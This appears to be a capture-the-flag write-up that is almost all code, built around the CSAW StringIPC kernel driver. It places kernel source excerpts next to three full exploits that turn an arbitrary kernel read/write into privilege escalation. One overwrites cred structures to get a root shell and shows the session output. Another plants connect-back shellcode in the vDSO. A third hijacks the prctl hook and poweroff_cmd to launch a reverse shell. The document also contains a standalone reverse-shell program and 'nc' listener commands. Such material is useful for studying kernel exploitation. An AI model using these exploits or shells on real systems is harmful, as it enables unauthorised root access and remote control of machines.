static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
{
    struct ipc_channel *channel;
    size_t new_size;
    char *new_data;

    channel = get_channel_by_id(state, id);
    if ( IS_ERR(channel) )
        return PTR_ERR(channel);

    if ( grow )
        new_size = channel->buf_size + size;
    else
        new_size = channel->buf_size - size;

    new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
    if ( new_data == NULL )
        return -EINVAL;

    channel->data = new_data;
    channel->buf_size = new_size;

    ipc_channel_put(state, channel);

    return 0;
}

/**
 * krealloc - reallocate memory. The contents will remain unchanged.
 * @p: object to reallocate memory for.
 * @new_size: how many bytes of memory are required.
 * @flags: the type of memory to allocate.
 *
 * The contents of the object pointed to are preserved up to the
 * lesser of the new and old sizes.  If @p is %NULL, krealloc()
 * behaves exactly like kmalloc().  If @new_size is 0 and @p is not a
 * %NULL pointer, the object pointed to is freed.
 */
void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
    void *ret;

    if (unlikely(!new_size)) {
        kfree(p);
        return ZERO_SIZE_PTR;
    }

    ret = __do_krealloc(p, new_size, flags);
    if (ret && p != ret)
        kfree(p);

    return ret;
}
EXPORT_SYMBOL(krealloc);

#define ZERO_SIZE_PTR ((void *)16)

struct thread_info {
    struct task_struct  *task;      /* main task structure */
    __u32           flags;      /* low level flags */
    __u32           status;     /* thread synchronous flags */
    __u32           cpu;        /* current CPU */
    mm_segment_t        addr_limit;
    unsigned int        sig_on_uaccess_error:1;
    unsigned int        uaccess_err:1;  /* uaccess failed */
};

裁剪过后 
struct task_struct {
    volatile long state;    /* -1 unrunnable, 0 runnable, >0 stopped */
    void *stack;
    atomic_t usage;
    unsigned int flags; /* per process flags, defined below */
    unsigned int ptrace;
... ...

/* process credentials */
    const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
    const struct cred __rcu *real_cred; /* objective and real subjective task
                     * credentials (COW) */
    const struct cred __rcu *cred;  /* effective (overridable) subjective task
                     * credentials (COW) */
    char comm[TASK_COMM_LEN]; /* executable name excluding path
                     - access with [gs]et_task_comm (which lock
                       it with task_lock())
                     - initialized normally by setup_new_exec */
/* file system info */
    struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
/* ipc stuff */
    struct sysv_sem sysvsem;
    struct sysv_shm sysvshm;
#endif
... ... 
};

struct cred {
    atomic_t    usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
#define CRED_MAGIC  0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
                     * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
#endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

struct cred *prepare_creds(void)
{
    struct task_struct *task = current;
    const struct cred *old;
    struct cred *new;

    validate_process_creds();

    new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
    if (!new)
        return NULL;

    kdebug("prepare_creds() alloc %p", new);

    old = task->cred;
    memcpy(new, old, sizeof(struct cred));

    atomic_set(&new->usage, 1);
    set_cred_subscribers(new, 0);
    get_group_info(new->group_info);
    get_uid(new->user);
    get_user_ns(new->user_ns);

#ifdef CONFIG_KEYS
    key_get(new->session_keyring);
    key_get(new->process_keyring);
    key_get(new->thread_keyring);
    key_get(new->request_key_auth);
#endif

#ifdef CONFIG_SECURITY
    new->security = NULL;
#endif

    if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
        goto error;
    validate_creds(new);
    return new;

error:
    abort_creds(new);
    return NULL;
}
EXPORT_SYMBOL(prepare_creds);

static inline struct task_struct *alloc_task_struct_node(int node)
{
    return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);
}

#include <stdio.h>
#include <sys/prctl.h>       
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8


struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct open_channel_args {
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

void print_hex(char *buf,size_t len){
    int i ;
    for(i = 0;i<((len/8)*8);i+=8){
        printf("0x%lx",*(size_t *)(buf+i) );
        if (i%16)
            printf(" ");
        else
            printf("\n");
    }
}

int main(){
    int fd = -1;
    int result = 0;
    struct alloc_channel_args alloc_args;
    struct shrink_channel_args shrink_args;
    struct seek_channel_args seek_args;
    struct read_channel_args read_args;
    struct close_channel_args close_args;
    struct write_channel_args write_args;
    size_t addr = 0xffff880000000000;
    size_t real_cred = 0;
    size_t cred = 0;
    size_t target_addr ;
    int root_cred[12];
    //set target in task_struct
    setvbuf(stdout, 0LL, 2, 0LL);
    char *buf = malloc(0x1000);
    char target[16];
    strcpy(target,"try2findmep4nda");
    prctl(PR_SET_NAME , target);
    fd = open("/dev/csaw",O_RDWR);
    if(fd < 0){
        puts("[-] open error");
        exit(-1);
    }

    alloc_args.buf_size = 0x100;
    alloc_args.id = -1;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
    if (alloc_args.id == -1){
        puts("[-] alloc_channel error");
        exit(-1);
    }
    printf("[+] now we get a channel %d\n",alloc_args.id);
    shrink_args.id = alloc_args.id;
    shrink_args.size = 0x100+1;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
    puts("[+] we can read and write any momery");
    for(;addr<0xffffc80000000000;addr+=0x1000){
        seek_args.id =  alloc_args.id;
        seek_args.index = addr-0x10 ;
        seek_args.whence= SEEK_SET;
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        read_args.id = alloc_args.id;
        read_args.buf = buf;
        read_args.count = 0x1000;
        ioctl(fd,CSAW_READ_CHANNEL,&read_args);
        result = memmem(buf,0x1000,target,16);
        //printf("0x%lx",addr);
        if (result)
        {
            cred = *(size_t *)(result - 0x8);
            real_cred = *(size_t *)(result - 0x10);
            if( (cred||0xff00000000000000) && (real_cred == cred)){
                //printf("[]%lx[]",result-(int)(buf));
                target_addr = addr + result-(int)(buf);
                printf("[+]found task_struct 0x%lx\n",target_addr);
                printf("[+]found cred 0x%lx\n",real_cred);
                break;
            }

        }
    }
    if(result == 0){
        puts("not found , try again ");
        exit(-1);
    }
    for (int i = 0; i<44;i++){
        seek_args.id =  alloc_args.id;
        seek_args.index = cred-0x10 +4 + i ;
        seek_args.whence= SEEK_SET;
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        root_cred[0] = 0;
        write_args.id = alloc_args.id;
        write_args.buf = (char *)root_cred;
        write_args.count = 1;
        ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);   

    }

    if (getuid() == 0){
        printf("[+]now you are r00t,enjoy ur shell\n");
        system("/bin/sh");
    }
    else{
        puts("[-] there must be something error ... ");
        exit(-1);
    }

    return 0;
}

/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ ./pwn_task_struct
[+] now we get a channel 1
[+] we can read and write any momery
[+]found task_struct 0xffff880007f8c800
[+]found cred 0xffff88000f946180
[+]now you are r00t,enjoy ur shell
/ # id
uid=0(root) gid=0(root) groups=1000(chal)
/ #

static int map_vdso(const struct vdso_image *image, bool calculate_addr)
{
    struct mm_struct *mm = current->mm;
    struct vm_area_struct *vma;
    unsigned long addr, text_start;
    int ret = 0;
    static struct page *no_pages[] = {NULL};
    static struct vm_special_mapping vvar_mapping = {
        .name = "[vvar]",
        .pages = no_pages,
    };
    struct pvclock_vsyscall_time_info *pvti;

    if (calculate_addr) {
        addr = vdso_addr(current->mm->start_stack,
                 image->size - image->sym_vvar_start);
    } else {
        addr = 0;
    }

    down_write(&mm->mmap_sem);

    addr = get_unmapped_area(NULL, addr,
                 image->size - image->sym_vvar_start, 0, 0);
    if (IS_ERR_VALUE(addr)) {
        ret = addr;
        goto up_fail;
    }

    text_start = addr - image->sym_vvar_start;
    current->mm->context.vdso = (void __user *)text_start;

    /*
     * MAYWRITE to allow gdb to COW and set breakpoints
     */
    vma = _install_special_mapping(mm,
                       text_start,
                       image->size,
                       VM_READ|VM_EXEC|
                       VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC,
                       &image->text_mapping);

    if (IS_ERR(vma)) {
        ret = PTR_ERR(vma);
        goto up_fail;
    }

    vma = _install_special_mapping(mm,
                       addr,
                       -image->sym_vvar_start,
                       VM_READ|VM_MAYREAD,
                       &vvar_mapping);

    if (IS_ERR(vma)) {
        ret = PTR_ERR(vma);
        goto up_fail;
    }

    if (image->sym_vvar_page)
        ret = remap_pfn_range(vma,
                      text_start + image->sym_vvar_page,
                      __pa_symbol(&__vvar_page) >> PAGE_SHIFT,
                      PAGE_SIZE,
                      PAGE_READONLY);

    if (ret)
        goto up_fail;

#ifdef CONFIG_HPET_TIMER
    if (hpet_address && image->sym_hpet_page) {
        ret = io_remap_pfn_range(vma,
            text_start + image->sym_hpet_page,
            hpet_address >> PAGE_SHIFT,
            PAGE_SIZE,
            pgprot_noncached(PAGE_READONLY));

        if (ret)
            goto up_fail;
    }
#endif

    pvti = pvclock_pvti_cpu0_va();
    if (pvti && image->sym_pvclock_page) {
        ret = remap_pfn_range(vma,
                      text_start + image->sym_pvclock_page,
                      __pa(pvti) >> PAGE_SHIFT,
                      PAGE_SIZE,
                      PAGE_READONLY);

        if (ret)
            goto up_fail;
    }

up_fail:
    if (ret)
        current->mm->context.vdso = NULL;

    up_write(&mm->mmap_sem);
    return ret;
}

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h> 

 #include <sys/mman.h>
int main(){

    unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
    if (sysinfo_ehdr!=0){
        for (int i=0;i<0x2000;i+=1){
            printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
        }
    }

}

https://gist.github.com/itsZN/1ab36391d1849f15b785
"\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";


nop
push rbx
xor rax,rax
mov al, 0x66
syscall #check uid
xor rbx,rbx
cmp rbx,rax
jne emulate

xor rax,rax
mov al,0x39
syscall #fork
xor rbx,rbx
cmp rax,rbx
je connectback

emulate:
pop rbx
xor rax,rax
mov al,0x60
syscall
retq

connectback:
xor rdx,rdx
pushq 0x1
pop rsi
pushq 0x2
pop rdi
pushq 0x29
pop rax 
syscall #socket

xchg rdi,rax
push rax
mov rcx, 0xfeffff80faf2fffd
not rcx
push rcx
mov rsi,rsp
pushq 0x10
pop rdx
pushq 0x2a
pop rax
syscall #connect

xor rbx,rbx
cmp rax,rbx
je sh
xor rax,rax
mov al,0xe7
syscall #exit

sh:
nop
pushq 0x3
pop rsi
duploop:
pushq 0x21
pop rax
dec rsi
syscall #dup
jne duploop

mov rbx,0xff978cd091969dd0
not rbx
push rbx
mov rdi,rsp
push rax
push rdi
mov rsi,rsp
xor rdx,rdx
mov al,0x3b
syscall #execve
xor rax,rax
mov al,0xe7
syscall

#include <stdio.h>

int main(){
    while(1){
        puts("111");
        sleep(1);
        gettimeofday();
    }
}

#include <stdio.h>
#include <sys/prctl.h>       
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/auxv.h> 



#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8


struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct open_channel_args {
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

void print_hex(char *buf,size_t len){
    int i ;
    for(i = 0;i<((len/8)*8);i+=8){
        printf("0x%lx",*(size_t *)(buf+i) );
        if (i%16)
            printf(" ");
        else
            printf("\n");
    }
}

void show_vdso_userspace(int len){
    size_t addr=0;
    addr = getauxval(AT_SYSINFO_EHDR);
    if(addr<0){
        puts("[-]cannot get vdso addr");
        return ;
    }
    for(int i = len;i<0x1000;i++){
        printf("%x ",*(char *)(addr+i));
    }
}
int check_vsdo_shellcode(char *shellcode){
    size_t addr=0;
    addr = getauxval(AT_SYSINFO_EHDR);
    printf("vdso:%lx\n", addr);
    if(addr<0){
        puts("[-]cannot get vdso addr");
        return 0;
    }   
    if (memmem((char *)addr,0x1000,shellcode,strlen(shellcode) )){
        return 1;
    }
    return 0;
}

int main(){
    int fd = -1;
    size_t result = 0;
    struct alloc_channel_args alloc_args;
    struct shrink_channel_args shrink_args;
    struct seek_channel_args seek_args;
    struct read_channel_args read_args;
    struct close_channel_args close_args;
    struct write_channel_args write_args;
    size_t addr = 0xffffffff80000000;
    size_t real_cred = 0;
    size_t cred = 0;
    size_t target_addr ;
    int root_cred[12];
    char shellcode[] = "\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x05";
    //"\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb\x48\x39\xc3\x75\x0f\x48\x31\xc0\xb0\x39\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x09\x5b\x48\x31\xc0\xb0\x60\x0f\x05\xc3\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48\x97\x50\x48\xb9\xfd\xff\xf2\xfa\x80\xff\xff\xfe\x48\xf7\xd1\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x48\x31\xdb\x48\x39\xd8\x74\x07\x48\x31\xc0\xb0\xe7\x0f\x05\x90\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xd3\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0\xb0\xe7\x0f\x05";
    //set target in task_struct
    setvbuf(stdout, 0LL, 2, 0LL);
    char *buf = malloc(0x1000);
    char target[16];
    strcpy(target,"try2findmep4nda");
    prctl(PR_SET_NAME , target);
    fd = open("/dev/csaw",O_RDWR);
    if(fd < 0){
        puts("[-] open error");
        exit(-1);
    }

    alloc_args.buf_size = 0x100;
    alloc_args.id = -1;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
    if (alloc_args.id == -1){
        puts("[-] alloc_channel error");
        exit(-1);
    }
    printf("[+] now we get a channel %d\n",alloc_args.id);
    shrink_args.id = alloc_args.id;
    shrink_args.size = 0x100+1;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
    puts("[+] we can read and write any momery");
    for(;addr<0xffffffffffffefff;addr+=0x1000){
        seek_args.id =  alloc_args.id;
        seek_args.index = addr-0x10 ;
        seek_args.whence= SEEK_SET;
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        read_args.id = alloc_args.id;
        read_args.buf = buf;
        read_args.count = 0x1000;
        ioctl(fd,CSAW_READ_CHANNEL,&read_args);
        if(( !strcmp("gettimeofday",buf+0x2cd)) ){ // ((*(size_t *)(buf) == 0x00010102464c457f)) && 
            result = addr;
            printf("[+] found vdso %lx\n",result);
            break;
        }
    }
    if(result == 0){
        puts("not found , try again ");
        exit(-1);
    }
    ioctl(fd,CSAW_CLOSE_CHANNEL,&close_args);
    seek_args.id =  alloc_args.id;
    seek_args.index = result-0x10+0xc80 ;
    seek_args.whence= SEEK_SET;
    ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
    write_args.id = alloc_args.id;
    write_args.buf = shellcode;
    write_args.count = strlen(shellcode);
    ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
    if(check_vsdo_shellcode(shellcode)!=0){
        puts("[+] shellcode is written into vdso, waiting for a reverse shell :");
        system("nc -lp 3333");
    }
    else{
        puts("[-] someting wrong ... ");
        exit(-1);
    }
    //show_vdso_userspace(0xc30);
    ioctl(fd,CSAW_CLOSE_CHANNEL,&close_args);


    return 0;
}

SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
        unsigned long, arg4, unsigned long, arg5)
{
    struct task_struct *me = current;
    unsigned char comm[sizeof(me->comm)];
    long error;

    error = security_task_prctl(option, arg2, arg3, arg4, arg5);
    if (error != -ENOSYS)
        return error;
...

int security_task_prctl(int option, unsigned long arg2, unsigned long arg3,
             unsigned long arg4, unsigned long arg5)
{
    int thisrc;
    int rc = -ENOSYS;
    struct security_hook_list *hp;

    list_for_each_entry(hp, &security_hook_heads.task_prctl, list) {
        thisrc = hp->hook.task_prctl(option, arg2, arg3, arg4, arg5);
        if (thisrc != -ENOSYS) {
            rc = thisrc;
            if (thisrc != 0)
                break;
        }
    }
    return rc;
}

/**
 * call_usermodehelper() - prepare and start a usermode application
 * @path: path to usermode executable
 * @argv: arg vector for process
 * @envp: environment for process
 * @wait: wait for the application to finish and return status.
 *        when UMH_NO_WAIT don't wait at all, but you get no useful error back
 *        when the program couldn't be exec'ed. This makes it safe to call
 *        from interrupt context.
 *
 * This function is the equivalent to use call_usermodehelper_setup() and
 * call_usermodehelper_exec().
 */
int call_usermodehelper(char *path, char **argv, char **envp, int wait)
{
    struct subprocess_info *info;
    gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

    info = call_usermodehelper_setup(path, argv, envp, gfp_mask,
                     NULL, NULL, NULL);
    if (info == NULL)
        return -ENOMEM;

    return call_usermodehelper_exec(info, wait);
}

static int run_cmd(const char *cmd)
{
    char **argv;
    static char *envp[] = {
        "HOME=/",
        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
        NULL
    };
    int ret;
    argv = argv_split(GFP_KERNEL, cmd, NULL);
    if (argv) {
        ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
        argv_free(argv);
    } else {
        ret = -ENOMEM;
    }

    return ret;
}
Down    p   reboot_work_func+10 call    run_cmd
Down    p   poweroff_work_func+18   call    run_cmd

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc,char *argv[])
{
    int sockfd,numbytes;
    char buf[BUFSIZ];
    struct sockaddr_in their_addr;
    while((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1);
    their_addr.sin_family = AF_INET;
    their_addr.sin_port = htons(2333);
    their_addr.sin_addr.s_addr=inet_addr("127.0.0.1");
    bzero(&(their_addr.sin_zero), 8);

    while(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1);
    dup2(sockfd,0);
    dup2(sockfd,1);
    dup2(sockfd,2);
    system("/bin/sh");
    return 0;
}

#include <stdio.h>
#include <sys/prctl.h>       
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/auxv.h> 



#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8


struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct open_channel_args {
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

void print_hex(char *buf,size_t len){
    int i ;
    for(i = 0;i<((len/8)*8);i+=8){
        printf("0x%lx",*(size_t *)(buf+i) );
        if (i%16)
            printf(" ");
        else
            printf("\n");
    }
}

void show_vdso_userspace(int len){
    size_t addr=0;
    addr = getauxval(AT_SYSINFO_EHDR);
    if(addr<0){
        puts("[-]cannot get vdso addr");
        return ;
    }
    for(int i = len;i<0x1000;i++){
        printf("%x ",*(char *)(addr+i));
    }
}
int check_vsdo_shellcode(char *shellcode){
    size_t addr=0;
    addr = getauxval(AT_SYSINFO_EHDR);
    printf("vdso:%lx\n", addr);
    if(addr<0){
        puts("[-]cannot get vdso addr");
        return 0;
    }   
    if (memmem((char *)addr,0x1000,shellcode,strlen(shellcode) )){
        return 1;
    }
    return 0;
}

int main(){
    int fd = -1;
    size_t result = 0;
    struct alloc_channel_args alloc_args;
    struct shrink_channel_args shrink_args;
    struct seek_channel_args seek_args;
    struct read_channel_args read_args;
    struct close_channel_args close_args;
    struct write_channel_args write_args;
    size_t addr = 0xffffffff80000000;
    size_t real_cred = 0;
    size_t cred = 0;
    size_t target_addr ;
    size_t kernel_base = 0 ;
    size_t selinux_disable_addr= 0x351c80;
    size_t prctl_hook = 0xeb7df8;
    size_t order_cmd = 0xe4dfa0;
    size_t poweroff_work_func_addr =0xa39c0;
    int root_cred[12];
    setvbuf(stdout, 0LL, 2, 0LL);
    char *buf = malloc(0x1000);
    char target[16];
    strcpy(target,"try2findmep4nda");

    fd = open("/dev/csaw",O_RDWR);
    if(fd < 0){
        puts("[-] open error");
        exit(-1);
    }

    alloc_args.buf_size = 0x100;
    alloc_args.id = -1;
    ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
    if (alloc_args.id == -1){
        puts("[-] alloc_channel error");
        exit(-1);
    }
    printf("[+] now we get a channel %d\n",alloc_args.id);
    shrink_args.id = alloc_args.id;
    shrink_args.size = 0x100+1;
    ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
    puts("[+] we can read and write any momery");
    for(;addr<0xffffffffffffefff;addr+=0x1000){
        seek_args.id =  alloc_args.id;
        seek_args.index = addr-0x10 ;
        seek_args.whence= SEEK_SET;
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        read_args.id = alloc_args.id;
        read_args.buf = buf;
        read_args.count = 0x1000;
        ioctl(fd,CSAW_READ_CHANNEL,&read_args);
        if(( !strcmp("gettimeofday",buf+0x2cd)) ){ // ((*(size_t *)(buf) == 0x00010102464c457f)) && 
            result = addr;
            printf("[+] found vdso %lx\n",result);
            break;
        }
    }
    if(result == 0){
        puts("not found , try again ");
        exit(-1);
    }
    kernel_base = addr&0xffffffffff000000;
    selinux_disable_addr+= kernel_base;
    prctl_hook += kernel_base;
    order_cmd += kernel_base;
    poweroff_work_func_addr += kernel_base;
    //size_t argv_0 = kernel_base + 0x117ed20;
    //size_t mce_do_trigger_addr = kernel_base + 0x0422ba;
    //size_t env = kernel_base + 0xe4df20;
    printf("[+] found kernel base: %lx\n",kernel_base);
    printf("[+] found prctl_hook: %lx\n",prctl_hook);
    printf("[+] found order_cmd : %lx\n",order_cmd);
    printf("[+] found selinux_disable_addr : %lx\n",selinux_disable_addr);  
    printf("[+] found poweroff_work_func_addr: %lx\n",poweroff_work_func_addr);


// change *poweroff_cmd - > "/reverse_shll\0"
    memset(buf,'\0',0x1000);
    //*(size_t *)buf = selinux_disable_addr;
    strcpy(buf,"/reverse_shell\0");
    //strcpy(buf,"/bin/chmod 777 /flag\0");
    seek_args.id =  alloc_args.id;
    seek_args.index = order_cmd-0x10 ;
    seek_args.whence= SEEK_SET; 
    ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
    write_args.id = alloc_args.id;
    write_args.buf = buf;//&cat_flag;
    write_args.count = strlen(buf);
    ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
    memset(buf,'\0',0x1000);
    seek_args.id =  alloc_args.id;
    seek_args.index = order_cmd+14-0x10 ;
    seek_args.whence= SEEK_SET; 
    ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
    write_args.id = alloc_args.id;
    write_args.buf = buf;//&cat_flag;
    write_args.count = 1;
    ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
/*
    memset(buf,'\0',0x1000);
    *(size_t *)buf = 1 ;
    //strcpy(buf,"/bin//sh\0");

    seek_args.id =  alloc_args.id;
    seek_args.index = kernel_base +  0x1380118-0x10 ;
    seek_args.whence= SEEK_SET; 
    ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
    write_args.id = alloc_args.id;
    write_args.buf = buf;//&cat_flag;
    write_args.count = 20+1;
    ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);   
*/
    // change *prctl_hook -> reboot_work_func_addr
    memset(buf,'\0',0x1000);
    *(size_t *)buf = poweroff_work_func_addr;
    seek_args.id =  alloc_args.id;
    seek_args.index = prctl_hook-0x10 ;
    seek_args.whence= SEEK_SET; 
    ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
    write_args.id = alloc_args.id;
    write_args.buf = buf;//&cat_flag;
    write_args.count = 20+1;
    ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);   

// trag and get reverse shell
    if(fork() == 0 ){
        prctl(addr,2, addr,addr,2);
        exit(-1);
    }
    system("nc -l -p 2333");


    return 0;
}

$ ./pwn
[+] now we get a channel 1
[+] we can read and write any momery
[+] found vdso ffffffff81e04000
